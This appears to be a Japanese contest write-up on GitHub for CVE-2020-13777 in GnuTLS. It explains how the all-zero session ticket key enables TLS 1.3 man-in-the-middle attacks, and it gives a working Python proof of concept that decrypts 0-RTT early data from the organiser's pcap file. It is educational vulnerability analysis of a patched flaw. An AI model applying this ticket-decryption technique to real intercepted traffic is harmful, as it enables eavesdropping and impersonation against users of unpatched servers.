Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Challenge CVE-2020-13777の応募用紙( https://jovi0608.hatenablog.com/entry/2020/06/13/104905 )

Challenge CVE-2020-13777(MITM, 0-RTT Application dataの復元)

追記(2020/07/05)

この応募用紙は一部に技術的に不正確であったり、厳密ではない表現が含まれています。
より正確に理解するにはChallenge CVE-2020-13777の主催者のOhtsuさん(jovi0608)のフォローブログをあわせて参照してください。

関連記事/リンクは次の通りです。

なお、この応募課題の変更履歴については末尾のコメント欄を参照してください。

この解説文章・PoCの目的

本記事及び、企画「Challenge CVE-2020-13777」へ提供した解説文章・PoCは情報通信産業に関わる人の情報セキュリティのリテラシーの向上に貢献することを目的としています。 修正パッチが広く配布されている脆弱性であるCVE-2020-13777について、修正パッチ配布後に開発元によって公開された脆弱性の情報を元に技術的な検証を行った結果を啓蒙活動の一環として公開しています。 それにより、この脆弱性について情報通信産業に関わる人に広く認知されることを期待しています。

免責事項

このPoCを、学術的または技術的な検証または教育以外の目的で利用しないでください。
また、以下の環境以外でPoCを実行しないでください。

  • コンピュータの所有者によってPoCの実行を許可されたコンピュータ

また、プログラムはMITライセンスで提供されています。 作者は利用者が本プログラムによって被った損害、損失に対して、いかなる場合でも一切の責任を負いません。

このPoCおよび解説文は、TLS 1.3の再接続性を理解し、Challenge CVE-2020-13777に応募するために作成されました。Challenge CVE-2020-13777については、https://jovi0608.hatenablog.com/entry/2020/06/13/104905 を確認してください。

なお、作成し公開したPoCはオフラインでの技術的な検証を目的に作成されたもので、実在のサーバーに対してCVE-2020-13777を用いた攻撃を行う能力は無く、また攻撃を意図して作成したものではありません。 このPoCは主催者が配布・解析を許可したパケット情報をまとめたファイル(pcapファイル)を解析するように設計しており、外部のサーバーとの通信は一切行わずオフラインで動作します。

はじめに

この文章はChallenge CVE-2020-13777の応募課題です。 CVE-2020-13777の脆弱性について説明し、PoCを示します。 なお、この文章では次の内容は範囲外とします。

  • TLS1.2における影響の解説やPoC(Challenge CVE-2020-13777の募集要項に書いてあるとおり、影響範囲が大きいため)
  • 実装ミスが起きた原因の考察など脆弱性やそのPoCと直接関係がないもの

CVE-2020-13777について

GnuTLSの脆弱性であるCVE-2020-13777はGnuTLSサーバーの起動後数時間はTLSのセッションチケットの暗号化鍵がall-0になってしまう脆弱性です。 そのため、gnuTLSが実装しているTOTP(Time-Based One-Time Password Algorithm)のような仕組みによるkey rotationが起きるまでセッションチケットの暗号化鍵は0になります。 また、セッションチケットの暗号方式は共通鍵暗号ですので、暗号化鍵==復号鍵となります。

脆弱性の影響範囲に関する公式の情報は次のとおりです。

It was found that GnuTLS 3.6.4 introduced a regression in the TLS protocol implementation. This caused the TLS server to not securely construct a session ticket encryption key considering the application supplied secret, allowing a MitM attacker to bypass authentication in TLS 1.3 and recover previous conversations in TLS 1.2. See #1011 for more discussion on the topic. Recommendation: To address the issue found upgrade to GnuTLS 3.6.14 or later versions. https://gnutls.org/security-new.html#GNUTLS-SA-2020-06-03

この情報によると、GnuTLS3.6.4〜3.6.13.xのバージョンが影響を受けるようです。 また、TLSのバージョンごとの影響については次のように告知されています。

  • TLS1.2以前: 復号したセッションチケットから以前の通信の内容を復元できる可能性がある
  • TLS1.3: MITMの攻撃者が認証をバイパスできる

該当バージョンのGnuTLSを使っている人はバージョンを3.6.14以降にアップデートして下さい。 次のセクションでTLS1.3における影響について説明します。

1. TLS1.3でのMITM攻撃について

次の1つめの課題の解答をする章です。

  1. pcap中のTLS1.3 ClientHelloデータだけ使って、CVE-2020-13777によってTLS1.3のMITMが可能であることを証明してください。

PSKを使った認証

セッション再開におけるPSK(PreShared Key)はサーバーがクライアントを認証するための値です。 また、HandShakeやアプリケーションデータを暗号化/復号するための鍵のシードのようなものとしても利用されます。 PSKはexternal-PSKとresumption-PSKの二種類があり、PSKの共有方法によって分類されています。 external-PSKはTLSの帯域以外(つまり他の手段で)共有されるPSKです。 一方で、resumption-PSKは前回のセッションで用いたPSKです。セッション再開の認証に使うPSK候補が複数ある場合はサーバーからのNewSessionTicketの通知の際に次回のセッション再開と鍵の導出で使用するPSKと対応するPSK-IDが通知されます。クライアントはセッション再開時はPSK-IDに従って鍵の導出に使用するPSKを選択します。 今回はresumption-PSKを使った場合を例に説明します。以後は特に断りがない場合はPSKと書いてあるものはresumption-PSKと読み替えてください。

セッションチケットとPSK

PSKはセッションチケットから導出可能です。これはセッションチケットの暗号化鍵が攻撃者に知られるとセッション再開の認証に必要な情報であるPSKを攻撃者が入手できることを意味します。 そして、これは攻撃者が正規のクライアントになりすますことができることを意味します。

順を追って説明します。CVE-2020-13777はサーバーが持つセッションチケットの暗号化鍵がall-0になる脆弱性です。 つまり、この脆弱性によって攻撃者はセッションチケットの暗号化鍵が0だと推測して、その内容を不正に復号することができます。 では、攻撃者がセッションチケットの内容を入手できると、どういった手順でPSKの導出をし認証のバイパスが可能になるのでしょうか。 それを明らかにするためにはまず、TLS1.3でセッションチケットの内容や認証の手順を理解する必要があります。 それでは正常時のセッションチケットを利用した認証を例に順を追って説明します。 次の図を見てください。 図中の登場人物は次のとおりです。

  • Alice: 正規のTLS1.3クライアント
  • Bob: 正規のTLS1.3サーバー

20200613055805
図:GnuTLSのチケット書式

図の引用元: https://jovi0608.hatenablog.com/entry/2020/06/13/104905

full_handshake_auth_
図:フルハンドシェイク時の認証

session_resumption_
図:セッション再開時のPSKによる認証

図中の<>はセッションチケットの暗号化鍵で暗号化されたメッセージです。
図中の{}は[sender]_handshake_traffic_secretで暗号化されたメッセージです。
図中の[]は[sender]_application_traffic_secret_Nで暗号化されたメッセージです。

1つめの図はGnuTLSにおけるセッションチケットの書式を表しています。 そして、2つ目の図フルハンドシェイクの時の認証はフルハンドシェイクのシーケンスと認証部分の図です。図の通り、セッションチケットはサーバーからクライアントへNewSessionTicketによって通知されます。また、認証は証明書によって行われます。 そして3つ目の図セッション再開時のPSKによる認証はセッション再開時のシーケンスと認証部分の図です。クライアントはセッションを再開するタイミングでセッションチケットを送信します。そして、サーバーが受け取ったセッションチケットはセッションの再開の認証に使われます。 サーバーがセッションチケットの情報を受け取るとチケットの情報とサーバーが保持している情報を基にクライアントを認証し、認証が成功するとセッションを再開します。なお、PSKによるセッション再開時の認証が成功した場合、証明書による認証は行われません

より具体的な説明をします。まず、図GnuTLSのチケット書式の右側の"GnuTLSのチケットデータの中身の書式"を見てください。 サーバーは上から5つ目の項目のresumption_master_secretと7つ目の項目のnonceがあります。サーバーはこれらをHKDF-Expand-Label関数(※1)に入力してPSK(PreShared Key)を生成します。

psk=HKDF-Expand-Label(resumption_master_secret,
                        "resumption", nonce, Hash.length)

参考:RFC8446 4.6.1 https://tools.ietf.org/html/rfc8446#page-75 を基に作成

サーバーは上記の式でセッションチケットからpskを導出した後にbinder値(※2)を計算して、PSKを検証した後に自身が手元に持っているpskのリストと照らし合わせてpskがリストに存在するか、最初にこのpskが生成されてから規定以上の時間が経っていないかをチェックすることで認証を行います。

※1 HKDF-Expand-Labelは一方向性の性質を持つ鍵導出関数です。詳細については割愛しますが、出力から入力を導出できないことを覚えておいてください。 一方向性については後に登場するHKDF-Extractなど今回の説明で登場するHKDF-xxxという関数やderive_secretについても同様です。HKDFの仕様についてはRFC5869を参照してください https://tools.ietf.org/html/rfc5869

※2 簡単のため、binder値の計算については省略します。PoCに実装してありますので、興味のあるかたはそちらを参照してください。

MITM攻撃の手順を考える

この節では攻撃者がTLS1.3を使っている架空のシステムに対してCVE-2020-13777を使い、MITM攻撃(中間者攻撃)をする場合の手順を考えます。 前の節でPSKを用いたセッション再開時の認証のおおまかな流れについて説明しました。 MITM攻撃行うためには暗号化された通信の内容を復号して再度暗号化する必要があります。 つまり、攻撃者が攻撃を成功させるには鍵の導出や合意に必要な情報を持っている必要があります。 次の図を見てください。 Screen Shot 2020-06-17 at 18 05 36
図:TLS1.3のKey Scheduling

図の引用元: RFC8446 7.1 https://tools.ietf.org/html/rfc8446#page-93

この図はTLS1.3のKey Schedulingを表しています。 図の左上に着目してください。PSKと書いてあります。つまり、PSKを持っているとTLSのearly dataの暗号化/復号に必要なkey, ivを導出するための秘密情報(Secret)が手に入ります。

ハンドシェイクやアプリケーションデータを暗号化/復号するkey, ivの導出はどうすればよいでしょうか。 key, ivを導出する式を次に示します。

   [sender]_write_key = HKDF-Expand-Label(Secret, "key", "", key_length)
   [sender]_write_iv  = HKDF-Expand-Label(Secret, "iv", "", iv_length)

式:暗号化/復号 key, ivの導出

引用: RFC8446 7.3 https://tools.ietf.org/html/rfc8446#section-7.3

[sender]はデータを暗号化して送信する側を示していて、clientかserverが入ります。Secretには暗号化対象のデータ種別に対応するtraffic secretを入れます。 具体的なSecretの例を3つ紹介します。

  • 送信側がクライアント, 受信側がサーバーでearly data(0-RTT Application Data)の暗号化, 復号を行う場合
    • client_early_traffic_secret から導出したkey, ivを選択
  • 送信側がクライアント, 受信側がサーバーでハンドシェイクの暗号化, 復号を行う場合
    • client_handshake_traffic_secret から導出したkey, ivを選択
  • 送信側がサーバー, 受信側がクライアントでアプリケーションの暗号化, 復号を行う場合
    • server_application_traffic_secret_N から導出したkey, ivを選択

なお、KeySchedulingの図について、[sender]_handshake_traffic_secret, [sender]_application_traffic_secretの導出に着目すると、 これらの導出には(EC)DHEの共有鍵が必要なことがわかります。攻撃者は(EC)DHEへの中間者攻撃を行うことで(EC)DHEの共有鍵を手に入れることができます。

ここまでの流れをまとめると次の図のように攻撃できます。 図中の登場人物は次のとおりです。 なお、前提としてAliceはセッション再開以前にCVE-2020-13777の脆弱性を持っているBobをやりとりをしていて、PSKを用いてセッションの再開を試みているものとします。

  • Alice: 正規のTLS1.3クライアント
  • Bob: 正規のTLS1.3サーバー(ただし、CVE-2020-13777の脆弱性を持っている)
  • Mallory: MITM攻撃を行う攻撃者

mitm_ 図:CVE-2020-1377を利用したMITM攻撃

RFC 8446 2.3節より、 PSKでの認証時はサーバーは証明書による認証を行ないません。 そのため、認証のバイパスに成功するとそれ以後、Malloryは[sender/receiver]_handshake_traffic_secretや [sender/receiver]_application_traffic_secret_N を用いて鍵やivを導出し、ハンドシェイクやApplication Dataの暗号化/復号ができるため、MITM攻撃が成立します。また、PSKの導出にはセッション再開時のCHLOのみを使っているので設問の要件「ClientHelloデータだけ使って」という要件を満たします。

2. 0-RTT Application dataの復号

次の2つめの課題の解答をする章です。

  1. pcap中の暗号化されたTLS1.3 の 0-RTTアプリケーションデータをCVE-2020-13777によって復号し、アプリケーションデータの平文を取得してください。

PSKを導出するまでは1と同じです。説明とPoCを次に示します。なお、PoCの実装に際して

  • セッションチケットの復号時のMACのチェックの成功可否
  • 導出したPSKのbinderのチェックの可否
  • 0-RTT Application Dataの復号時のMACのチェックの成功可否

これらをコードの実装のヒントとして利用しました。 PoCの方針は次の図0-RTT Application dataの復元の通りです。 図中の登場人物は次のとおりです。 前提として、これまでと同様にAliceはセッション再開以前にCVE-2020-13777の脆弱性を持っているBobをやりとりをしていて、PSKを用いてセッションの再開を試みているものとします。

  • Alice: 正規のTLS1.3クライアント
  • Bob: 正規のTLS1.3クライアント(ただし、CVE-2020-13777の脆弱性を持っている)
  • Eve: Aliceのパケットを盗聴し、CHLOのApplication dataを不正に復元しようとする攻撃者

PSK導出後、Key SchedulingにしたがってPSKからclient_early_traffic_secureを導出します。 次にclient_early_traffic_secureからkeyとivを導出(※3)し、nonce=iv xor packet_number(=0, ApplicationDataはCHLOパケットに含まれているため)(※4)を算出します。 最後に復号をします。 暗号アルゴリズムは初回のセッションのCHLOのCipherSuitesのリストの最上位がCipher Suite: TLS_AES_256_GCM_SHA384 (0x1302)であることからAESのGCMモードで鍵長32byte, nonce12byte, MACの長さが16byteであると推定します。 AEADのassociateは(Early dataが入っているTLSレコードレイヤーのヘッダ+暗号文の長さ)であるのがGnuTLSや他のTLS実装のソースコードにより判明したためそれを利用します。 最後に末尾16byteをMACとして切り出し、残りを暗号文として復号関数に入力します。

ここまでの説明した方針に沿って実装したPoCを実行した結果を示します。 復元したApplication dataの平文をASCIIと16進数文字列で表示した結果は次の通りです。 また、PoCのコードはこの記事の末尾にあります。

$python3 main.py
b"Let's study TLS with Professional SSL/TLS!\n\n\x17"
4c6574277320737475647920544c5320776974682050726f66657373696f6e616c2053534c2f544c53210a0a17

図:PoCの実行結果

自身でPoCを実行して結果を確認するには下記のリンクからChallenge CVE-2020-13777のpcapファイルをダウンロードし、次に示すディレクトリの構成を参考にPoCの実行ファイル(ファイル名:main.py)をpcapファイルと同じ階層に配置してください。

pcapファイルのダウンロード先: https://github.com/shigeki/challenge_CVE-2020-13777

$tree
.
├── gnutls_vul_challange.pcap
└── main.py

図:PoC実行環境のディレクトリの構成

また、実行に必要な環境は次の通りです。

  • Python 3.6.x以上
  • 次のPythonパッケージのインストール
    • scapy, cryptography, pycryptodome, hashlib
    • pipからは次のコマンドでインストールできます。
      pip3 install -y scapy cryptography pycryptodome hashlib

最後に、実装の説明や参考にした資料はPoCコード中のコメントに書かきました。 興味のある方はあわせて読んでいただけると幸いです。長文になりましたが、お付き合いありがとうございました。

※3RFC8446 7.3 https://tools.ietf.org/html/rfc8446#page-95 ※4RFC8446 5.3 https://tools.ietf.org/html/rfc8446#page-82

recovery_0_rtt_data_ 図:0-RTT Application dataの復元

PoCコード(main.py)

#Require Python 3.6.x later
#Validation version: Python 3.7.7
#pip3 install scapy cryptography pycryptodome hashlib
'''
実行するには次のディレクトリ構成の状態にしてください。
$tree
.
├── challenge_CVE-2020-13777
│   ├── README.md
│   └── gnutls_vul_challange.pcap
└── main.py

実行するにはpipで次のコマンドを実行し、必要なパッケージをインストールしてから、Python3.5.x以降で次のように実行します。

# パッケージのインストール
$ pip3 install -y scapy cryptography pycryptodome hashlib

# Pythonバージョンの確認
$python3 --version
Python 3.7.7

# PoCの実行
$python3 main.py # 1行目は復号した結果のASCII, 2行目はhex
b"Let's study TLS with Professional SSL/TLS!\n\n\x17"
4c6574277320737475647920544c5320776974682050726f66657373696f6e616c2053534c2f544c53210a0a17
'''


'''
## 攻撃者の目的
セッション再開時のCHLOパケットに含まれるアプリケーションデータの平文を取得する

## 前提・攻撃者の能力
攻撃者はTLS1.3の最初のハンドシェイクのCHLOのパケットとセッション再開時のCHLOのパケット**のみ**を持っている。
このCHLOがCVE-2020-13777をもつサーバーとやりとりしていることを知っている。
CVE-2020-13777をもつサーバー(gnutls)の実装や関連するRFCは既知であり、攻撃者は必要に応じてそれらを参照することができる。

このPoCの範囲外
- CipherSuiteの推定
  - 簡単のため、攻撃者は1回目のCHLOのCipher Suitesのリストを見て先頭にあるTLS_AES_256_GCM_SHA384をサーバーが選択したと推定した仮定でハードコーディングしている

'''

import struct

import hashlib, hmac as hmac_hashlib
from scapy.all import *

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from typing import (
    Optional
)

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.hkdf import HKDF, HKDFExpand
from cryptography.hazmat.primitives import serialization, hmac

PCAP_FILE_PATH = './gnutls_vul_challange.pcap'

GNUTLS_MAC_SHA384=7
#Reference: https://gitlab.com/gnutls/gnutls/-/blob/e48290a51da19288986bd7aaca265ea62b054dc8/devel/libdane-latest-x86_64.abi
#復号したSession Ticketに含まれるprf_id==7に対応するプリミティブはMAC_SHA384

load_layer('tls')

'''
=========================
# HKDF functions from https://github.com/aiortc/aioquic/blob/c2673a5a64dd74dd8aa056cfc5a325c29cd20f55/src/aioquic/tls.py

Copyright (c) 2019 Jeremy Lainé.
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

    * Redistributions of source code must retain the above copyright notice,
      this list of conditions and the following disclaimer.
    * Redistributions in binary form must reproduce the above copyright notice,
      this list of conditions and the following disclaimer in the documentation
      and/or other materials provided with the distribution.
    * Neither the name of aioquic nor the names of its contributors may
      be used to endorse or promote products derived from this software without
      specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
'''

def hkdf_label(label: bytes, hash_value: bytes, length: int) -> bytes:
    full_label = b"tls13 " + label
    return (
        struct.pack("!HB", length, len(full_label))
        + full_label
        + struct.pack("!B", len(hash_value))
        + hash_value
    )

def hkdf_expand_label(
    algorithm: hashes.HashAlgorithm,
    secret: bytes,
    label: bytes,
    hash_value: bytes,
    length: int,
) -> bytes:
    return HKDFExpand(
        algorithm=algorithm,
        length=length,
        info=hkdf_label(label, hash_value, length),
        backend=default_backend(),
    ).derive(secret)


def hkdf_extract(
    algorithm: hashes.HashAlgorithm, salt: bytes, key_material: bytes
) -> bytes:
    h = hmac.HMAC(salt, algorithm, backend=default_backend())
    h.update(key_material)
    return h.finalize()


class KeySchedule:
    def __init__(self, algorithm: hashes.HashAlgorithm):
        self.algorithm = algorithm
        self.generation = 0
        self.hash = hashes.Hash(self.algorithm, default_backend())
        self.hash_empty_value = self.hash.copy().finalize()
        self.secret = bytes(self.algorithm.digest_size)

    def certificate_verify_data(self, context_string: bytes) -> bytes:
        return b" " * 64 + context_string + b"\x00" + self.hash.copy().finalize()

    def finished_verify_data(self, secret: bytes) -> bytes:
        hmac_key = hkdf_expand_label(
            algorithm=self.algorithm,
            secret=secret,
            label=b"finished",
            hash_value=b"",
            length=self.algorithm.digest_size,
        )

        h = hmac.HMAC(hmac_key, algorithm=self.algorithm, backend=default_backend())
        h.update(self.hash.copy().finalize())
        return h.finalize()

    def derive_secret(self, label: bytes) -> bytes:
        return hkdf_expand_label(
            algorithm=self.algorithm,
            secret=self.secret,
            label=label,
            hash_value=self.hash.copy().finalize(),
            length=self.algorithm.digest_size,
        )

    def extract(self, key_material: Optional[bytes] = None) -> None:
        if key_material is None:
            key_material = bytes(self.algorithm.digest_size)

        if self.generation:
            self.secret = hkdf_expand_label(
                algorithm=self.algorithm,
                secret=self.secret,
                label=b"derived",
                hash_value=self.hash_empty_value,
                length=self.algorithm.digest_size,
            )

        self.generation += 1
        self.secret = hkdf_extract(
            algorithm=self.algorithm, salt=self.secret, key_material=key_material
        )

    def update_hash(self, data: bytes) -> None:
        self.hash.update(data)


'''
=========================
HKDF functions end of line
'''



'''
# PoC code

MIT License

Copyright (c) 2020 prprhyt

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

'''
#encrypted session ticket
def EncST():
    def __init__(self):
        self.identity_len:int
        self.key_name:bytes
        self.iv:bytes
        self.data_length:int
        self.data:bytes
        self.mac:bytes
        self.obfuscated_ticket_age:int

def SessionTicketData():
    def __init__(self):
        self.perf_id:int
        self.add_age:int
        self.lifetime:int
        self.resumption_master_secret_size:int
        self.resumption_master_secret:bytes
        self.nonce_size:int
        self.nonce:int
        self.state_size:int
        self.state:bytes
        self.create_time_tv_sec_upper:int
        self.create_time_tv_sec_lower:int
        self.create_time_tv_sec_nsec:int

def Alice_send():
    packets = rdpcap(PCAP_FILE_PATH)
    
    first_chlo = packets[3] # pick first CHLO Packet
    resumption_chlo = packets[29] # pick resumption CHLO Packet
    return first_chlo, resumption_chlo

def Eve_receive(resumption_chlo):
    # eve guess session ticket encryption key(STEK) from CVE-2020-13777
    key = b"\x00"*32
    hmac_key = b"\x00"*16


    # Parse encrypted Session Ticket Data from resumption CHLO
    enc_st = EncST

    chlo_tls_layer = TLS(resumption_chlo.load)
    psk_identity = chlo_tls_layer.fields['msg'][0].ext[-1].identities[0]
    
    enc_st.identity_len = psk_identity.identity_len
    enc_st.key_name = psk_identity.identity.key_name
    enc_st.iv = psk_identity.identity.iv
    enc_st.data_length = psk_identity.identity.encstatelen
    enc_st.data = psk_identity.identity.encstate
    enc_st.mac = psk_identity.identity.mac
    enc_st.obfuscated_ticket_age = psk_identity.obfuscated_ticket_age
    
    # Decrypt Session Ticket Data
    # Reference: https://gitlab.com/gnutls/gnutls/-/blob/1d4615aa650dad1c01452d46396c0307304b0245/lib/ext/session_ticket.c#L181
    cipher = AES.new(key, AES.MODE_CBC, enc_st.iv)
    if 0.0 == enc_st.data_length % AES.block_size:
        raw_session_ticket = cipher.decrypt(enc_st.data)
    else:
        raw_session_ticket = unpad(cipher.decrypt(enc_st.data), AES.block_size)
    
    # Calc hmac
    # Reference: https://gitlab.com/gnutls/gnutls/-/blob/1d4615aa650dad1c01452d46396c0307304b0245/lib/ext/session_ticket.c#L155
    digester = hmac_hashlib.new(hmac_key, digestmod=hashlib.sha1)
    digester.update(enc_st.key_name)
    digester.update(enc_st.iv)
    digester.update(enc_st.data_length.to_bytes(2, byteorder='big'))
    digester.update(enc_st.data)
    calc_mac = digester.digest()

    # Compare hmac
    if not enc_st.mac==calc_mac:
        print("Mismatch hmac! Decryption is failed.")
        exit(1)
    
    # Parse Raw Session Ticket Data
    st = SessionTicketData

    seek=0
    st.perf_id = int.from_bytes(raw_session_ticket[seek:seek+2], 'big')
    seek+=2
    st.add_age = int.from_bytes(raw_session_ticket[seek:seek+4], 'big')
    seek+=4
    st.lifetime = int.from_bytes(raw_session_ticket[seek:seek+4], 'big')
    seek+=4
    st.resumption_master_secret_size = int.from_bytes(raw_session_ticket[seek:seek+1], 'big')
    seek+=1
    st.resumption_master_secret = raw_session_ticket[seek:seek+st.resumption_master_secret_size]
    seek+=st.resumption_master_secret_size
    st.nonce_size = int.from_bytes(raw_session_ticket[seek:seek+1], 'big')
    seek+=1
    st.nonce = raw_session_ticket[seek:seek+st.nonce_size]
    seek+=st.nonce_size
    st.state_size = int.from_bytes(raw_session_ticket[seek:seek+2], 'big')
    seek+=2
    st.state = raw_session_ticket[seek:seek+st.state_size]
    seek+=st.state_size
    st.create_time_tv_sec_upper = int.from_bytes(raw_session_ticket[seek:seek+4], 'big')
    seek+=4
    st.create_time_tv_sec_lower = int.from_bytes(raw_session_ticket[seek:seek+4], 'big')
    seek+=4
    st.create_time_tv_sec_nsec = int.from_bytes(raw_session_ticket[seek:seek+4], 'big')
    seek+=4
    
    # チケットが4バイト分多いのが気になる。0x00,0x00,0x00,0x00だったのでパディングかな
    #print(len(raw_session_ticket))
    #print(seek)

    # Derive PSK from st.resumption_master_secret and st.nonce
    # Reference: RFC8446 Section 4.6.1 https://tools.ietf.org/html/rfc8446#page-75
    if not GNUTLS_MAC_SHA384==st.perf_id:
        print("Unfortunately, this PoC does not support prf_id=%d." % st.perf_id)
        exit(1)
    hash_algorithm = hashes.SHA384()
    psk = hkdf_expand_label(hash_algorithm, st.resumption_master_secret, b"resumption", st.nonce, hash_algorithm.digest_size)

    # Derive Early Secret from PSK
    # Reference: RFC8446 Section 7.1 https://tools.ietf.org/html/rfc8446#page-91
    key_schedule_psk = KeySchedule(hash_algorithm)
    key_schedule_psk.extract(psk)

    # Derive Binder key
    binder_key = key_schedule_psk.derive_secret(b"res binder")
    binder_length = key_schedule_psk.algorithm.digest_size

    # Get Client Hello contents data
    # 5==len(Content Type (1octet) || Version (2octet))
    # chlo_tls_layer.lenで先頭のRecord layerの長さが取れる(=HandShake Protocol: Client Helloのみ)
    client_hello_data = chlo_tls_layer.raw_packet_cache[5:5+chlo_tls_layer.len]
    
    # Validate PSK with PSK binder
    # Reference: RFC8446 4.2.11 https://tools.ietf.org/html/rfc8446#page-57
    # CHLO Handshake contents:
    # | CHLO contents without PSK Binders || PSK Binders len (2octet) || PSK Binders (PSK Binders len) |
    binders_len = chlo_tls_layer.fields['msg'][0].ext[-1].binders_len
    chlo_raw_without_binders = client_hello_data[:-(binders_len+2)]
    key_schedule_psk.update_hash(chlo_raw_without_binders)
    expect_binder = key_schedule_psk.finished_verify_data(binder_key)

    ## Read binder from CHLO
    binder:bytes=chlo_tls_layer.fields['msg'][0].ext[-1].binders[0].binder

    ## Compare binder
    if not binder==expect_binder:
        print("Mismatch binder! psk is not valid.")
        exit(1)


    # Decrypt early data(0-RTT Application Data)

    ## Derive client_early_traffic_secret from Early Secret
    key_schedule_psk.update_hash(client_hello_data[-(binder_length+3):])
    client_early_traffic_secret = key_schedule_psk.derive_secret(b"c e traffic")
    
    ## Derive key and iv for early data from client_early_traffic_secret
    ## Reference: RFC8446 7.3 https://tools.ietf.org/html/rfc8446#page-95
    key_length = 32
    iv_length = 12
    early_data_key = hkdf_expand_label(hash_algorithm, client_early_traffic_secret, b"key", b"", key_length)
    early_data_iv = hkdf_expand_label(hash_algorithm, client_early_traffic_secret, b"iv", b"", iv_length)

    ## Derive nonce from iv and packet number
    ## Reference: RFC8446 5.3 https://tools.ietf.org/html/rfc8446#page-82
    packet_number = 0
    early_data_nonce = (packet_number ^ int.from_bytes(early_data_iv, 'big')).to_bytes(len(early_data_iv), 'big')

    ## Get encrypted early data
    encrypted_early_application_data = chlo_tls_layer.lastlayer().fields['msg'][0].data
    ciphertext = encrypted_early_application_data

    ## Derive associate
    ### AEADのassociate=(Early dataが入っているTLSレコードレイヤーのヘッダ+暗号文の長さ):
    ### Opaque Type (1octet) || Version (2octet) || len(Encrypted Application Data) (2octet)
    opaque_type = chlo_tls_layer.lastlayer().fields['type']
    tls_version = chlo_tls_layer.lastlayer().fields['version']
    associate = opaque_type.to_bytes(1, 'big') + tls_version.to_bytes(2, 'big') + len(ciphertext).to_bytes(2, "big")

    ## Decrypt early data
    mac_len = 16
    cipher_dec_early_data = AES.new(key=early_data_key, mode=AES.MODE_GCM, nonce=early_data_nonce, mac_len=mac_len)
    cipher_dec_early_data.update(associate)
    plaintext = cipher_dec_early_data.decrypt_and_verify(ciphertext[:-mac_len], ciphertext[-mac_len:])

    print(plaintext)       # b"Let's study TLS with Professional SSL/TLS!\n\n\x17"
    print(plaintext.hex()) # 4c6574277320737475647920544c5320776974682050726f66657373696f6e616c2053534c2f544c53210a0a17

def main():
    _, resumption_chlo = Alice_send()
    Eve_receive(resumption_chlo)

if __name__ == "__main__":
    main()
@prprhyt
Copy link
Author

prprhyt commented Jun 18, 2020

key, ivの導出について、式を交えて説明するようにしました。
また、2. 0-RTT Application dataの復号の図について、シナリオとしてEveによる盗聴を想定したものに差し替えました。

@prprhyt
Copy link
Author

prprhyt commented Jun 18, 2020

MITMの図が見にくかったので修正しました。時間なのでFixします。

@prprhyt
Copy link
Author

prprhyt commented Jun 18, 2020

PoCコードのコメントに記述したディレクトリ構成が間違っていることに気づきました。
締め切り後なので、修正は保留します。
なお、本文中のディレクトリ構成の説明は正しいものになっています。

誤:

実行するには次のディレクトリ構成の状態にしてください。
$tree
.
├── challenge_CVE-2020-13777
│   ├── README.md
│   └── gnutls_vul_challange.pcap
└── main.py

正:

実行するには次のディレクトリ構成の状態にしてください。
$tree
.
├── gnutls_vul_challange.pcap
└── main.py

@prprhyt
Copy link
Author

prprhyt commented Jun 18, 2020

1.TLS1.3でのMITM攻撃について
説明を省略してしまっていますがセッション再開の認証はPSK with ECDHEを想定しています。

@prprhyt
Copy link
Author

prprhyt commented Jun 21, 2020

MITMのシーケンス図について、Malloryが計算するBob側の鍵交換の説明文について、厳密ではなかったので修正しました。
修正前: 1. Bob側のDHEの計算
修正後: 1. Bob側のECDHEの計算

修正後の図:
mitm_

修正前の図:
mitm_old

@prprhyt
Copy link
Author

prprhyt commented Jun 23, 2020

はじめにの節を追加して、目的について明文化しました。

@prprhyt
Copy link
Author

prprhyt commented Jun 23, 2020

はじめにの節が既にあったので、
後から追加した方の"はじめに"を"この解説文章・PoCの目的"に変更しました。

@prprhyt
Copy link
Author

prprhyt commented Jun 30, 2020

この解説文章・PoCの目的と免責事項を更新しました。

@prprhyt
Copy link
Author

prprhyt commented Jul 5, 2020

pycryptoとpycryptodomeが混ざっていたのでpycryptodomeに統一しました。
PoCソースコードについては前半のコメント内のインストール手順については修正しましたが、プログラム本体に変更はありません。
もし、既に両方入れていた場合はpip3 uninstall pycrypto pycryptodomeをしてから、pip3 install pycryptodomeで解決できます。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment